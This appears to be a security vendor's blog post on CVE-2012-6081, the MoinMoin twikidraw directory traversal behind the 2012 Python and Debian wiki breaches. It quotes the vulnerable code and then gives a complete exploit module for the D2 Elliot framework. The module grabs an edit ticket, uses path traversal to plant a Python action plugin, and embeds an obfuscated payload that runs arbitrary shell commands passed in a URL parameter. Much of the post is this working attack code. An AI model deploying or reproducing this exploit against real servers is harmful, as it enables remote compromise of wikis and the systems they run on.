MoinMoin attack with D2 Elliot

During 2012 two major wikis (Python and Debian) have been comprised. The breaches have been analysed and the results of the forensics revealed that the root cause was a vulnerability in MoinMoin wiki (see http://wiki.debian.org/DebianWiki/SecurityIncident2012 and http://wiki.debian.org/DebianWiki/SecurityIncident2012).

The vulnerability is a directory traversal in twikidraw and anywikidraw action plugins of MoinMoin wiki. The target parameter of these plugins is not filtered and it is used to write a tar archive. The destination (with target parameter) and the content (with filename and filepath parameters) of this tar file can be controlled.


class TwikiDraw(object):
    """ twikidraw action """
    def __init__(self, request, pagename, target):
        self.request = request
        self.pagename = pagename
        self.target = target

    def save(self):
        request = self.request
        _ = request.getText

        if not wikiutil.checkTicket(request, request.args.get('ticket', '')):
            return _('Please use the interactive user interface to use action %(actionname)s!') % {'actionname': 'twikidraw.save' }

        pagename = self.pagename
        target = self.target
        if not request.user.may.write(pagename):
            return _('You are not allowed to save a drawing on this page.')
        if not target:
            return _("Empty target name given.")

        file_upload = request.files.get('filepath')
        if not file_upload:
            # This might happen when trying to upload file names
            # with non-ascii characters on Safari.
            return _("No file content. Delete non ASCII characters from the file name and try again.")

        filename = request.form['filename']
        basepath, basename = os.path.split(filename)
        basename, ext = os.path.splitext(basename)
        ci = AttachFile.ContainerItem(request, pagename, target)
        filecontent = file_upload.stream
        content_length = None
        if ext == '.draw': # TWikiDraw POSTs this first
            AttachFile._addLogEntry(request, 'ATTDRW', pagename, target)
            ci.truncate()
            filecontent = filecontent.read() # read file completely into memory
            filecontent = filecontent.replace("\r", "")
        elif ext == '.map':
            # touch attachment directory to invalidate cache if new map is saved
            attach_dir = AttachFile.getAttachDir(request, pagename)
            os.utime(attach_dir, None)
            filecontent = filecontent.read() # read file completely into memory
            filecontent = filecontent.strip()
        else:
            #content_length = file_upload.content_length
            # XXX gives -1 for wsgiref :( If this is fixed, we could use the file obj,
            # without reading it into memory completely:
            filecontent = filecontent.read()

        ci.put('drawing' + ext, filecontent, content_length)
        [...]

The following source code shows the tar file writing.


class ContainerItem:
    """ A storage container (multiple objects in 1 tarfile) """

    def __init__(self, request, pagename, containername):
        self.request = request
        self.pagename = pagename
        self.containername = containername
        self.container_filename = getFilename(request, pagename, containername)

    [...]

    def put(self, member, content, content_length=None):
        """ save data into a container's member """
        tf = tarfile.TarFile(self.container_filename, mode='a')
        if isinstance(member, unicode):
            member = member.encode('utf-8')
        ti = tarfile.TarInfo(member)
        if isinstance(content, str):
            if content_length is None:
                content_length = len(content)
            content = StringIO(content) # we need a file obj
        elif not hasattr(content, 'read'):
            logging.error("unsupported content object: %r" % content)
            raise
        assert content_length >= 0  # we don't want -1 interpreted as 4G-1
        ti.size = content_length
        tf.addfile(ti, content)
        tf.close()

MoinMoin wiki provides action plugins but you can add your own Python action plugin. MoinMoin can be runned as a standalone server, a CGI script or a WSGI script. So to exploit this vulnerability you can create your own Python action plugin in the right directory (thanks to path traversal) with the Python code you want. The file created with the vulnerability will be a tar file so it can be difficult to build the tar archive as a valid Python script. It's more reliable to use the file information field of the tar archive (available at the beginning of the file) controlled by the filename parameter of the twikidraw action plugin.

The payload of the exploit will be the Python code of the action plugin but you will need to build it with filename constraints. Actually the payload will be the file ext of the filename parameter. The original exploit (moinexec.py) that was used for the Python and Debian compromission is still available on Pastebin. The payload is interesting and it can be reused.

Now you can develop the exploit with D2 Elliot. As usual you must select you exploit class (xRCERegexp for this case) and defined your header.


# modules.exploits.moinmoin_rce
#
# Copyright DSquare Security, LLC, 2013
#

from core.templates.exploits import *
from core.net.http import File
from core.helpers.random import alphanum
import re

class MyExploit(xRCERegexp):

    # Unique exploit id    
    uid = 'CE-8'

    # Mandatory exploit header
    _extra_description = {
        'name': 'MoinMoin 1.9.5 RCE',
        'creation': '2013/02/08 10:54:44 AM',
        'lastupdate': '2013/02/08 09:15:41 PM',
        'description': 'Remote command execution vulnerability in MoinMoin twikidraw action',
        'comment': '',
        'author': ('',),
        'vendor': 'MoinMoin',
        'zeroday': False,
        'published': '2012/12/29',
        'references': ('http://moinmo.in/SecurityFixes/CVE-2012-6081',),
        'cve': ('CVE-2012-6081',),
        'vulnid': ('',),
        'platform': Platform.All,
        'application': 'MoinMoin',
        'version': ('<= 1.9.5',),
        'module': '',
        'requirements': {},
        'payload': Payload.OSCommand,
        'family': Family.RCE,
        'googledork': '',
        'stealth': Stealth.Stealth,
    }

    # Page used to get the ticket
    _extra_parameters = {
        'modify_page' : models.Text('modify_page',
                            'Edit page',
                            'WikiSandBox?action=twikidraw&do=modify&target=../../../plugin/action/<FILENAME>.py')
    }

    # URL to use the twikidraw action plugin         
    vuln_page_default = 'WikiSandBox?action=twikidraw&do=save&ticket=<TICKET>&target=../../../plugin/action/<FILENAME>.py'    
    
    # 404 page will be ignored
    def on_404(self, response, request):
        return

    # Main method of the exploit                             
    def exploit(self):
        # Create a random name for our action plugin because plugin with the same name is not overwritten
        action_name = alphanum(8) 
        
        # Get the ticket to simulate the interactive user interface
        url = self.parameters.modify_page.replace('<FILENAME>', action_name)
        response = self.request(url)                    
        m = re.search('ticket=(.*?)&amp;target', response.data_str)
        if m is None:
            raise ExploitFailure('Ticket not found')
        ticket = m.group(1)

        # Create remote Python action plugin
        payload = 'drawing.r if()else[]\nimport os\ndef execute(p,r):exec"print>>r,os\\56popen(r\\56values[\'c\'])\\56read()"'
        url = self.parameters.vuln_page.replace('<FILENAME>', action_name)        
        url = url.replace('<TICKET>', ticket)        
        self.request(url,
            data={                
                'filename': payload,
                'filepath': File(
                        name = 'drawing.png',
                        type = 'image/png',
                        content = ''                        
                    )                    
            })
        
        # URL to send command to our action plugin          
        return {'url':'WikiSandBox?action=%s&c=<PAYLOAD>'%action_name }
   

If MoinMoin runs as a standalone server the action plugin won't be avalaible before a server restart. For CGI script the action plugin can be used without restarting the web server. In the following video you can see how this exploit gives you a pseudo shell.



Back to News

Share :   Facebook   Twitter   Google+